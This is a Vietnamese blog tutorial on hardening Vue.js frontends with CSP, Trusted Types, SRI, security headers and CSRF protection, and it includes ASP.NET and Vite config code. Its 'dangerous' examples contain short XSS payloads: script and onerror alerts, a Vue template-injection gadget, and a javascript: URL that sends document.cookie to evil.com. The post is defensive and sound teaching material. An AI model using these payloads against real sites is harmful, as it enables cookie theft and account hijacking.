Bảo mật Frontend 2026: CSP, Trusted Types, SRI và phòng thủ XSS cho Vue.js

Posted on: 4/22/2026 6:15:27 AM

Table of contents

  1. 1. Bức tranh bảo mật Frontend 2026 — Tại sao Client-Side là chiến trường chính
    1. ⚠ Vụ AppsFlyer SDK — Tháng 3/2026
  2. 2. Cross-Site Scripting (XSS) — Mối đe dọa 20 năm chưa hết
    1. 2.1 Ba biến thể XSS
    2. 2.2 Tại sao framework không phải lá chắn hoàn hảo?
      1. 🔑 Điểm mấu chốt
  3. 3. Content Security Policy (CSP) — Tường lửa JavaScript trên trình duyệt
    1. 3.1 Cơ chế hoạt động của CSP
    2. 3.2 Cấu hình CSP thực tế cho Vue.js SPA
    3. 3.3 CSP với Vite + Vue.js — Xử lý nonce trong build pipeline
      1. 💡 Triển khai an toàn: Bắt đầu với Report-Only
    4. 3.4 CSP Level 3 — Strict Dynamic và Hash-based
  4. 4. Trusted Types API — Chặn DOM-based XSS từ gốc
    1. 4.1 Cơ chế hoạt động
    2. 4.2 Triển khai Trusted Types trong Vue.js
      1. 🔑 Browser Support (04/2026)
  5. 5. Subresource Integrity (SRI) — Chống Supply Chain Attack từ CDN
    1. 5.1 Cách hoạt động
    2. 5.2 Tự động hoá SRI trong Vite build
    3. 5.3 Giới hạn của SRI và giải pháp bổ sung
      1. ⚠ SRI không bảo vệ khi source bị compromise
  6. 6. Security Headers — Dàn phòng thủ HTTP
  7. 7. Vue.js Security Deep Dive — Các lỗi thường gặp và cách phòng tránh
    1. 7.1 v-html và Template Injection
    2. 7.2 Dynamic Component và Script Gadgets
    3. 7.3 URL Sanitization cho router và dynamic links
    4. 7.4 PostMessage và Cross-Origin Communication
  8. 8. CSRF Protection — Bảo vệ hành động của user
    1. 8.1 SameSite Cookie — Lớp phòng thủ tự động
    2. 8.2 Anti-Forgery Token cho form và API
  9. 9. Kiến trúc Defense in Depth — Kết hợp tất cả lớp phòng thủ
    1. 9.1 Checklist triển khai theo độ ưu tiên
  10. 10. Công cụ kiểm tra và đánh giá
  11. 11. Kết luận — Bảo mật Frontend là trách nhiệm của Developer
    1. 💡 Quy tắc vàng

Năm 2026, frontend không còn chỉ là giao diện — nó là attack surface lớn nhất của ứng dụng web. Với sự bùng nổ của SPA framework như Vue.js, React, Angular, và xu hướng micro-frontend, lượng JavaScript chạy trên trình duyệt người dùng tăng gấp nhiều lần so với 5 năm trước. Đáng lo ngại hơn, Cross-Site Scripting (XSS) vẫn giữ vị trí Top 3 trong OWASP Top 10 sau hơn 20 năm tồn tại.

53%Web apps có ít nhất 1 lỗ hổng XSS (HackerOne 2025)
$4.2BThiệt hại từ supply chain attack frontend 2025
48 giờThời gian AppsFlyer SDK bị compromise (03/2026)
CSP L3Content Security Policy Level 3 — chuẩn phòng thủ mới

Bài viết này đi sâu vào 5 lớp phòng thủ frontend hiện đại: Content Security Policy (CSP), Trusted Types API, Subresource Integrity (SRI), Security Headers, và các best practices đặc thù cho Vue.js — tạo thành kiến trúc Defense in Depth toàn diện cho client-side.

1. Bức tranh bảo mật Frontend 2026 — Tại sao Client-Side là chiến trường chính

Trước khi SPA framework phổ biến, phần lớn logic xử lý nằm ở server. Tấn công web chủ yếu nhắm vào SQL injection, CSRF ở phía backend. Nhưng kiến trúc hiện đại đã thay đổi hoàn toàn bức tranh này:

graph LR
    A["👤 User Browser
JS Runtime"] --> B["🌐 CDN / Edge
Static Assets"] A --> C["🔌 API Gateway
REST / GraphQL"] A --> D["📦 Third-party Scripts
Analytics, Chat, Ads"] A --> E["🗂 npm Packages
node_modules"] D -->|"Supply Chain Risk"| F["⚠ Malicious Code
Data Exfiltration"] E -->|"Dependency Risk"| F B -->|"CDN Compromise"| F style A fill:#e94560,stroke:#fff,color:#fff style F fill:#ff9800,stroke:#fff,color:#fff style B fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style C fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style D fill:#f8f9fa,stroke:#ff9800,color:#2c3e50 style E fill:#f8f9fa,stroke:#ff9800,color:#2c3e50
Attack surface của một ứng dụng frontend hiện đại — nhiều vector tấn công đến từ bên ngoài

Một ứng dụng Vue.js/React trung bình năm 2026 load 15–40 third-party scripts (analytics, error tracking, chat widget, A/B testing, ad scripts). Mỗi script này chạy với full quyền trên DOM của bạn — có thể đọc cookies, localStorage, gửi dữ liệu ra ngoài, thậm chí sửa đổi giao diện. Chỉ cần 1 trong số đó bị compromise, toàn bộ ứng dụng bị ảnh hưởng.

⚠ Vụ AppsFlyer SDK — Tháng 3/2026

Giữa ngày 9–11/3/2026, SDK JavaScript của AppsFlyer (có mặt trên 100.000+ website và ứng dụng) bị hacker viết lại trực tiếp trên CDN của AppsFlyer. Trong 48 giờ, script bị inject code đánh cắp cryptocurrency. Đây là ví dụ điển hình: bạn không cần viết code lỗi — chỉ cần load script của bên thứ ba là đủ rủi ro.

2. Cross-Site Scripting (XSS) — Mối đe dọa 20 năm chưa hết

XSS cho phép attacker inject JavaScript vào trang web, chạy trong ngữ cảnh trình duyệt của nạn nhân. Dù framework hiện đại tự động escape output, XSS vẫn tồn tại vì nhiều lý do.

2.1 Ba biến thể XSS

LoạiCơ chếVí dụMức nguy hiểm
Reflected XSSPayload nằm trong URL/request, server phản hồi lại không escapesearch?q=<script>alert(1)</script>Trung bình — cần dụ nạn nhân click link
Stored XSSPayload lưu trong DB, hiển thị cho mọi user truy cậpComment chứa script trong forumCao — ảnh hưởng nhiều user tự động
DOM-based XSSJavaScript phía client đọc input (URL hash, postMessage) rồi ghi vào DOM không an toàndocument.innerHTML = location.hashRất cao — bypass server-side protection hoàn toàn

2.2 Tại sao framework không phải lá chắn hoàn hảo?

Vue.js, React, Angular đều tự động escape text interpolation — {{ userInput }} sẽ render thành text thuần, không phải HTML. Tuy nhiên, vẫn có nhiều "lỗ hổng" hợp pháp:

<!-- Vue.js — v-html KHÔNG escape -->
<div v-html="userComment"></div>

<!-- React — dangerouslySetInnerHTML -->
<div dangerouslySetInnerHTML={{__html: userComment}} />

<!-- Dynamic href với javascript: protocol -->
<a :href="userProvidedUrl">Click here</a>
<!-- Nếu userProvidedUrl = "javascript:alert(document.cookie)" → XSS -->

🔑 Điểm mấu chốt

Framework bảo vệ default path (text interpolation). Nhưng mỗi khi developer cần render HTML thô (rich text editor, markdown preview, embed content), hoặc bind dynamic URL/style, lớp bảo vệ đó bị vô hiệu hoá. Đây chính là lúc cần các lớp phòng thủ bổ sung.

3. Content Security Policy (CSP) — Tường lửa JavaScript trên trình duyệt

Content Security Policy là HTTP header cho phép bạn kiểm soát chính xác những resource nào được phép load và execute trên trang. Nếu một attacker inject được <script> vào HTML nhưng CSP không cho phép inline script, trình duyệt sẽ block — XSS thất bại dù payload đã inject thành công.

3.1 Cơ chế hoạt động của CSP

sequenceDiagram
    participant B as Browser
    participant S as Server
    participant A as Attacker

    S->>B: HTTP Response + CSP Header
    Note over B: CSP: script-src 'nonce-abc123'

    A->>B: Inject <script>evil()</script>
    B->>B: Check CSP — no nonce → BLOCK ✗

    S->>B: <script nonce="abc123">app.js</script>
    B->>B: Check CSP — nonce match → ALLOW ✓

    B->>S: CSP Violation Report (POST /csp-report)
Luồng hoạt động CSP nonce-based — chỉ script có nonce hợp lệ mới được thực thi

3.2 Cấu hình CSP thực tế cho Vue.js SPA

Một CSP header mạnh cho ứng dụng Vue.js production:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}' https://cdn.jsdelivr.net;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com wss://ws.example.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-report;
  report-to csp-endpoint;

Giải thích từng directive quan trọng:

DirectiveMục đíchLưu ý cho Vue.js
script-src 'nonce-{random}'Chỉ cho phép script có nonce khớpNonce phải unique mỗi request — dùng server middleware generate
style-src 'unsafe-inline'Cho phép inline styleVue SFC <style scoped> cần inline — dùng 'nonce-{random}' nếu có thể
connect-srcKiểm soát fetch/XHR/WebSocketWhitelist chính xác API domain — ngăn data exfiltration
frame-src 'none'Chặn iframe embedMở cho youtube.com nếu cần embed video
object-src 'none'Chặn Flash/Java pluginLuôn set 'none' — không có lý do mở
base-uri 'self'Ngăn attacker thay đổi <base> tagQuan trọng — <base> injection có thể redirect toàn bộ relative URL

3.3 CSP với Vite + Vue.js — Xử lý nonce trong build pipeline

Thách thức lớn nhất khi dùng CSP nonce-based với SPA là Vite/Webpack tạo inline script cho chunk loading. Giải pháp:

// vite.config.ts — Plugin inject nonce vào HTML
import { defineConfig, Plugin } from 'vite'
import vue from '@vitejs/plugin-vue'

function cspNoncePlugin(): Plugin {
  return {
    name: 'csp-nonce',
    transformIndexHtml(html) {
      // Server sẽ replace __CSP_NONCE__ bằng nonce thực tế mỗi request
      return html.replace(
        /<script/g,
        '<script nonce="__CSP_NONCE__"'
      )
    }
  }
}

export default defineConfig({
  plugins: [vue(), cspNoncePlugin()],
  build: {
    // Tránh inline script nếu có thể
    modulePreload: { polyfill: false }
  }
})
// ASP.NET Core Middleware — Generate nonce mỗi request
public class CspNonceMiddleware
{
    private readonly RequestDelegate _next;

    public CspNonceMiddleware(RequestDelegate next) => _next = next;

    public async Task InvokeAsync(HttpContext context)
    {
        var nonce = Convert.ToBase64String(
            RandomNumberGenerator.GetBytes(32));
        context.Items["CspNonce"] = nonce;

        context.Response.Headers.Append(
            "Content-Security-Policy",
            $"default-src 'self'; " +
            $"script-src 'self' 'nonce-{nonce}'; " +
            $"style-src 'self' 'nonce-{nonce}'; " +
            $"img-src 'self' data: https:; " +
            $"connect-src 'self' https://api.yourapp.com; " +
            $"frame-src 'none'; object-src 'none'; " +
            $"base-uri 'self'; form-action 'self'");

        await _next(context);
    }
}

💡 Triển khai an toàn: Bắt đầu với Report-Only

Đừng bật CSP enforce ngay — dùng Content-Security-Policy-Report-Only trước, thu thập violation report 1–2 tuần. Phân tích report để whitelist các resource hợp lệ, sau đó mới chuyển sang enforce. Một CSP quá strict có thể break toàn bộ ứng dụng.

3.4 CSP Level 3 — Strict Dynamic và Hash-based

CSP Level 3 giới thiệu directive 'strict-dynamic' — cho phép script đã được trust (qua nonce) tạo thêm script khác mà không cần whitelist domain:

Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic';
  /* Script có nonce='abc123' được chạy
     Script mà nó tạo ra (document.createElement('script'))
     cũng được trust tự động
     Domain whitelist bị BỎ QUA khi strict-dynamic active */

Lợi ích: không cần maintain danh sách CDN domain dài dằng dặc. Rủi ro: nếu script đã trust bị compromise (qua prototype pollution chẳng hạn), nó có thể load thêm malicious script.

4. Trusted Types API — Chặn DOM-based XSS từ gốc

CSP bảo vệ khỏi script injection, nhưng DOM-based XSS xảy ra khi JavaScript hiện tại của bạn tự ghi dữ liệu không an toàn vào DOM sink (innerHTML, document.write, eval). Trusted Types là câu trả lời cho vấn đề này.

4.1 Cơ chế hoạt động

graph TD
    A["🔤 Untrusted String
'<img onerror=alert(1)>'"] --> B{"Trusted Types
Enforcement?"} B -->|"Không bật"| C["innerHTML = string
→ XSS thực thi ✗"] B -->|"Bật"| D["innerHTML = string
→ TypeError! Browser block"] B -->|"Bật"| E["Qua Sanitizer Policy
→ TrustedHTML object"] E --> F["innerHTML = trustedHTML
→ An toàn ✓"] style A fill:#ff9800,stroke:#fff,color:#fff style C fill:#e94560,stroke:#fff,color:#fff style D fill:#e94560,stroke:#fff,color:#fff style F fill:#4CAF50,stroke:#fff,color:#fff style E fill:#f8f9fa,stroke:#4CAF50,color:#2c3e50
Trusted Types buộc mọi giá trị ghi vào DOM sink phải đi qua sanitizer policy

4.2 Triển khai Trusted Types trong Vue.js

// Bật Trusted Types qua CSP header
// Content-Security-Policy: require-trusted-types-for 'script';
//                          trusted-types vue-sanitizer default;

// Tạo policy cho v-html và dynamic content
const sanitizerPolicy = trustedTypes.createPolicy('vue-sanitizer', {
  createHTML(input) {
    // Dùng DOMPurify để sanitize
    return DOMPurify.sanitize(input, {
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
                     'ul', 'ol', 'li', 'h2', 'h3', 'h4',
                     'blockquote', 'code', 'pre'],
      ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
      ALLOW_DATA_ATTR: false
    })
  },
  createScriptURL(input) {
    const url = new URL(input, location.origin)
    // Chỉ cho phép script từ domain tin cậy
    if (url.origin === location.origin ||
        url.origin === 'https://cdn.jsdelivr.net') {
      return url.toString()
    }
    throw new TypeError(`Blocked script URL: ${input}`)
  }
})

// Vue directive thay thế v-html
app.directive('safe-html', {
  mounted(el, binding) {
    el.innerHTML = sanitizerPolicy.createHTML(binding.value)
  },
  updated(el, binding) {
    el.innerHTML = sanitizerPolicy.createHTML(binding.value)
  }
})
<!-- TRƯỚC: Không an toàn -->
<div v-html="userContent"></div>

<!-- SAU: Qua Trusted Types policy -->
<div v-safe-html="userContent"></div>

🔑 Browser Support (04/2026)

Trusted Types được support đầy đủ trên Chrome, Edge (từ v83+). Firefox đang implement (behind flag). Safari chưa support. Vì vậy, Trusted Types nên là lớp phòng thủ bổ sung, không phải duy nhất — luôn kết hợp với CSP và server-side sanitization.

5. Subresource Integrity (SRI) — Chống Supply Chain Attack từ CDN

SRI cho phép trình duyệt verify rằng file tải từ CDN không bị thay đổi so với bản gốc. Nếu hash không khớp, trình duyệt block file đó hoàn toàn.

5.1 Cách hoạt động

<!-- Với SRI — trình duyệt verify hash trước khi execute -->
<script
  src="https://cdn.jsdelivr.net/npm/vue@3.6.0/dist/vue.global.prod.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous">
</script>

<!-- Với CSS cũng tương tự -->
<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-..."
  crossorigin="anonymous">
graph LR
    A["📄 Build Pipeline
Generate hash"] --> B["🌐 CDN
Host file"] B --> C["👤 Browser
Download file"] C --> D{"SHA-384
Hash match?"} D -->|"✓ Match"| E["Execute script
An toàn"] D -->|"✗ Mismatch"| F["Block script
Load fallback"] B -.->|"🔓 Attacker
modify file"| G["Modified file
Hash changed"] G --> D style A fill:#e94560,stroke:#fff,color:#fff style E fill:#4CAF50,stroke:#fff,color:#fff style F fill:#ff9800,stroke:#fff,color:#fff style G fill:#e94560,stroke:#fff,color:#fff
SRI workflow — hash mismatch sẽ block file bị tamper

5.2 Tự động hoá SRI trong Vite build

// vite.config.ts — Plugin tự động thêm SRI hash
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import sri from 'rollup-plugin-sri'

export default defineConfig({
  plugins: [
    vue(),
    sri({
      algorithms: ['sha384'],
      // Tự thêm integrity attribute vào script/link tags
      publicPath: '/'
    })
  ]
})
# Generate SRI hash thủ công
$ openssl dgst -sha384 -binary vue.global.prod.js | openssl base64 -A
# Output: oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K...

# Hoặc dùng srihash.org cho từng file

5.3 Giới hạn của SRI và giải pháp bổ sung

⚠ SRI không bảo vệ khi source bị compromise

Trong vụ AppsFlyer (03/2026), file trên CDN bị thay đổi tại source. Nếu website đã pin SRI hash cho version cũ, trình duyệt sẽ block script → ứng dụng hỏng nhưng user an toàn. Tuy nhiên, nếu developer update SRI hash theo version mới (đã bị compromise) — SRI vô tác dụng. Bài học: review changelog khi update third-party dependency, không chỉ update hash máy móc.

Phương phápBảo vệ khỏiKhông bảo vệ khỏi
SRICDN bị MITM, file bị sửa trên CDNSource gốc bị compromise, version mới chứa malware
CSP connect-srcScript gửi data đến domain lạScript gửi data đến domain đã whitelist
Self-hostingCDN compromise hoàn toànDependency bị compromise trước khi bạn download
npm audit + lockfileKnown CVE trong dependenciesZero-day, backdoor chưa bị phát hiện

6. Security Headers — Dàn phòng thủ HTTP

Ngoài CSP, còn nhiều HTTP header khác tạo thành lớp phòng thủ tổng thể. Đây là bộ header khuyến nghị cho mọi ứng dụng Vue.js/.NET production:

// ASP.NET Core — SecurityHeaders Middleware
public class SecurityHeadersMiddleware
{
    private readonly RequestDelegate _next;

    public SecurityHeadersMiddleware(RequestDelegate next) => _next = next;

    public async Task InvokeAsync(HttpContext context)
    {
        var headers = context.Response.Headers;

        // Chống clickjacking — không cho embed trong iframe
        headers.Append("X-Frame-Options", "DENY");

        // Chống MIME sniffing — browser phải respect Content-Type
        headers.Append("X-Content-Type-Options", "nosniff");

        // Kiểm soát thông tin Referer gửi đi
        headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");

        // Chặn browser features không cần thiết
        headers.Append("Permissions-Policy",
            "camera=(), microphone=(), geolocation=(), " +
            "payment=(), usb=(), bluetooth=()");

        // Bắt buộc HTTPS — includeSubDomains + preload
        headers.Append("Strict-Transport-Security",
            "max-age=31536000; includeSubDomains; preload");

        // Cross-Origin Isolation cho SharedArrayBuffer
        headers.Append("Cross-Origin-Opener-Policy", "same-origin");
        headers.Append("Cross-Origin-Embedder-Policy", "require-corp");

        await _next(context);
    }
}
HeaderChống lạiGiá trị khuyến nghị
Strict-Transport-SecuritySSL stripping, downgrade attackmax-age=31536000; includeSubDomains; preload
X-Content-Type-OptionsMIME confusion attacknosniff
X-Frame-OptionsClickjackingDENY hoặc SAMEORIGIN
Referrer-PolicyLộ URL nhạy cảm qua Referer headerstrict-origin-when-cross-origin
Permissions-PolicyLạm dụng browser API (camera, mic)Disable tất cả feature không dùng
COOP + COEPSpectre-class side channel attacksame-origin + require-corp

7. Vue.js Security Deep Dive — Các lỗi thường gặp và cách phòng tránh

Vue.js có thiết kế bảo mật tốt — template compiler tự động escape text. Nhưng một số pattern phổ biến vô tình tạo lỗ hổng:

7.1 v-html và Template Injection

// ❌ NGUY HIỂM: v-html với user input
<div v-html="comment.body"></div>

// ✅ AN TOÀN: Sanitize trước khi render
import DOMPurify from 'dompurify'

const sanitizedBody = computed(() =>
  DOMPurify.sanitize(comment.value.body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target', 'rel']
  })
)
// <div v-html="sanitizedBody"></div>

7.2 Dynamic Component và Script Gadgets

Nghiên cứu từ PortSwigger (2025) chỉ ra rằng Vue.js có thể bị lợi dụng như script gadget để bypass CSP trong một số trường hợp:

// ❌ NGUY HIỂM: mount Vue lên node có server-rendered content
// Nếu server render user input vào DOM trước khi Vue mount,
// Vue template compiler sẽ evaluate {{ expressions }}
const app = createApp({})
app.mount('#app') // #app chứa {{ constructor.constructor('alert(1)')() }}

// ✅ AN TOÀN: Không mount Vue lên node chứa untrusted content
// Dùng SSR đúng cách với Nuxt — content được escape ở server
// ❌ NGUY HIỂM: Dynamic href không validate
<a :href="userProfile.website">Website</a>
// userProfile.website = "javascript:document.location='https://evil.com?c='+document.cookie"

// ✅ AN TOÀN: Validate URL protocol
function sanitizeUrl(url) {
  try {
    const parsed = new URL(url)
    if (['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return parsed.toString()
    }
    return '#'
  } catch {
    return '#'
  }
}
// <a :href="sanitizeUrl(userProfile.website)">Website</a>

7.4 PostMessage và Cross-Origin Communication

// ❌ NGUY HIỂM: Không validate origin
window.addEventListener('message', (event) => {
  document.getElementById('preview').innerHTML = event.data
})

// ✅ AN TOÀN: Validate origin + sanitize data
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-editor.example.com') return

  const sanitized = DOMPurify.sanitize(event.data)
  document.getElementById('preview').innerHTML = sanitized
})

8. CSRF Protection — Bảo vệ hành động của user

Cross-Site Request Forgery (CSRF) khiến user vô tình thực hiện hành động không mong muốn trên site đã đăng nhập. Dù SameSite cookie đã giảm thiểu đáng kể CSRF, vẫn cần hiểu và triển khai đúng:

// ASP.NET Core — Cookie configuration
builder.Services.ConfigureApplicationCookie(options =>
{
    options.Cookie.SameSite = SameSiteMode.Strict; // Hoặc Lax
    options.Cookie.HttpOnly = true;   // JS không đọc được
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.Name = "__Host-session"; // Cookie prefix bảo mật
});
SameSite ValueGET cross-sitePOST cross-siteKhuyến nghị
Strict❌ Block❌ BlockApp không cần cross-site navigation
Lax (default)✅ Gửi❌ BlockPhù hợp hầu hết ứng dụng
None; Secure✅ Gửi✅ GửiChỉ khi cần cross-site (OAuth, embed)

8.2 Anti-Forgery Token cho form và API

// ASP.NET Core — Enable Anti-Forgery
builder.Services.AddAntiforgery(options =>
{
    options.HeaderName = "X-XSRF-TOKEN";
    options.Cookie.Name = "XSRF-TOKEN";
    options.Cookie.SameSite = SameSiteMode.Strict;
});

// API Controller
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> TransferFunds(TransferRequest request)
{
    // CSRF token đã được validate tự động
    // ...
}
// Vue.js — Axios interceptor gửi XSRF token
import axios from 'axios'

const api = axios.create({
  baseURL: '/api',
  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',
  withCredentials: true
})

9. Kiến trúc Defense in Depth — Kết hợp tất cả lớp phòng thủ

Không lớp phòng thủ nào hoàn hảo đơn lẻ. Sức mạnh nằm ở việc xếp chồng nhiều lớp — mỗi lớp chặn một vector attack khác nhau:

graph TB
    subgraph "Layer 5 — Monitoring"
        M1["CSP Violation Reports"]
        M2["SRI Failure Alerts"]
        M3["Anomaly Detection"]
    end

    subgraph "Layer 4 — Browser Enforcement"
        B1["Content Security Policy"]
        B2["Trusted Types"]
        B3["Permissions Policy"]
    end

    subgraph "Layer 3 — Transport Security"
        T1["HSTS Preload"]
        T2["Certificate Transparency"]
        T3["SRI Hash Verification"]
    end

    subgraph "Layer 2 — Application Code"
        A1["Input Sanitization
DOMPurify"] A2["Output Encoding
Vue auto-escape"] A3["URL Validation"] end subgraph "Layer 1 — Authentication" AU1["SameSite Cookies"] AU2["CSRF Tokens"] AU3["HttpOnly + Secure flags"] end M1 --> B1 M2 --> T3 B1 --> A1 B2 --> A2 T1 --> AU1 style M1 fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style M2 fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style M3 fill:#f8f9fa,stroke:#e94560,color:#2c3e50 style B1 fill:#e94560,stroke:#fff,color:#fff style B2 fill:#e94560,stroke:#fff,color:#fff style B3 fill:#e94560,stroke:#fff,color:#fff style T1 fill:#2c3e50,stroke:#fff,color:#fff style T2 fill:#2c3e50,stroke:#fff,color:#fff style T3 fill:#2c3e50,stroke:#fff,color:#fff style A1 fill:#4CAF50,stroke:#fff,color:#fff style A2 fill:#4CAF50,stroke:#fff,color:#fff style A3 fill:#4CAF50,stroke:#fff,color:#fff style AU1 fill:#ff9800,stroke:#fff,color:#fff style AU2 fill:#ff9800,stroke:#fff,color:#fff style AU3 fill:#ff9800,stroke:#fff,color:#fff
Kiến trúc Defense in Depth — 5 lớp phòng thủ frontend chồng lên nhau

9.1 Checklist triển khai theo độ ưu tiên

Tuần 1–2: Foundation
Security Headers — Deploy middleware thêm HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy. Đây là việc đơn giản nhất, hiệu quả cao nhất.
Tuần 3–4: CSP Report-Only
CSP triển khai report-only — Cấu hình CSP với report-uri, thu thập dữ liệu violation. Xác định inline scripts cần refactor, third-party domains cần whitelist.
Tuần 5–6: CSP Enforce + SRI
Chuyển CSP sang enforce mode. Thêm SRI hash cho tất cả external scripts/styles. Cấu hình Vite plugin tự động generate SRI trong build.
Tuần 7–8: Application Security
Code-level hardening — Replace v-html bằng custom directive + DOMPurify. Audit tất cả dynamic URL binding. Setup URL sanitization utility.
Tuần 9–10: Advanced Protection
Trusted Types (cho Chrome/Edge users) + CSRF token rotation + cookie hardening (__Host- prefix, SameSite=Strict).
Tuần 11–12: Monitoring
Monitoring pipeline — CSP violation reporting endpoint, SRI failure alerting, dependency audit automation (npm audit, Snyk, Socket.dev), scheduled penetration testing.

10. Công cụ kiểm tra và đánh giá

Công cụMục đíchMiễn phí?Tích hợp CI/CD
securityheaders.comScan HTTP security headers
CSP Evaluator (Google)Đánh giá độ mạnh CSP policy
Mozilla ObservatoryScan tổng thể web security
Lighthouse (Security audit)Audit security trong Chrome DevTools
Socket.devPhát hiện supply chain risk trong npm packages✅ (OSS)
SnykVulnerability scanning dependencies✅ (Free tier)
OWASP ZAPDynamic Application Security Testing (DAST)
Playwright + axeAutomated security regression testing

11. Kết luận — Bảo mật Frontend là trách nhiệm của Developer

Bảo mật frontend năm 2026 không còn là việc "để team security lo". Với kiến trúc SPA, phần lớn logic chạy trên trình duyệt, và mỗi third-party script là một potential attack vector. CSP, Trusted Types, SRI, cùng security headers tạo thành lưới phòng thủ nhiều lớp — nhưng tất cả đều cần developer chủ động triển khai.

💡 Quy tắc vàng

Không tin bất kỳ input nào — dù đến từ user, API, URL parameter, hay postMessage. Không tin bất kỳ script nào — dù từ CDN uy tín hay npm package phổ biến. Validate, sanitize, và verify ở mọi điểm tiếp xúc. Defense in Depth không phải paranoia — đó là engineering discipline.

Tham khảo: